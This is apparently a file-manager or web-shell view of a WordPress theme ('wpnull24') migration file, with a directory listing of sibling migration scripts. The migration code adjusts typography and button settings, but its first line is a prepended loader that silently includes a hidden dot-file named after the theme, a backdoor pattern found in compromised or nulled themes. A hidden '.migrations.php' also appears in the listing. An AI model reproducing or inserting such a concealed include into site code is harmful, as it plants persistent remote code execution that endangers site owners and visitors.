PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_4_9 extends US_Migration_Translator { // Content public function translate_content( &$content ) { return $this->_translate_content( $content ); } public function translate_us_logos( &$name, &$params, &$content ) { $changed = FALSE; if ( empty( $params['carousel_autoplay'] ) OR $params['carousel_autoplay'] == 0 ) { $params['breakpoint_1_autoplay'] = 0; $params['breakpoint_2_autoplay'] = 0; $params['breakpoint_3_autoplay'] = 0; $changed = TRUE; } return $changed; } // Options public function translate_theme_options( &$options ) { update_option( US_THEMENAME . '_editor_caps_set', 1 ); $changed = FALSE; if ( isset( $options['h1_fontsize'] ) AND isset( $options['h1_letterspacing'] ) AND $options['h1_letterspacing'] != 0 ) { $options['h1_letterspacing'] = round( $options['h1_letterspacing'] / $options['h1_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['h2_fontsize'] ) AND isset( $options['h2_letterspacing'] ) AND $options['h2_letterspacing'] != 0 ) { $options['h2_letterspacing'] = round( $options['h2_letterspacing'] / $options['h2_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['h3_fontsize'] ) AND isset( $options['h3_letterspacing'] ) AND $options['h3_letterspacing'] != 0 ) { $options['h3_letterspacing'] = round( $options['h3_letterspacing'] / $options['h3_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['h4_fontsize'] ) AND isset( $options['h4_letterspacing'] ) AND $options['h4_letterspacing'] != 0 ) { $options['h4_letterspacing'] = round( $options['h4_letterspacing'] / $options['h4_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['h5_fontsize'] ) AND isset( $options['h5_letterspacing'] ) AND $options['h5_letterspacing'] != 0 ) { $options['h5_letterspacing'] = round( $options['h5_letterspacing'] / $options['h5_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['h6_fontsize'] ) AND isset( $options['h6_letterspacing'] ) AND $options['h6_letterspacing'] != 0 ) { $options['h6_letterspacing'] = round( $options['h6_letterspacing'] / $options['h6_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['button_fontsize'] ) AND isset( $options['button_letterspacing'] ) AND $options['button_letterspacing'] != 0 ) { $options['button_letterspacing'] = round( $options['button_letterspacing'] / $options['button_fontsize'], 2 ); $changed = TRUE; } if ( isset( $options['button_hover'] ) AND $options['button_hover'] == 'shadow' ) { $options['button_hover'] = 'none'; $options['button_shadow_hover'] = 1; $changed = TRUE; } return $changed; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]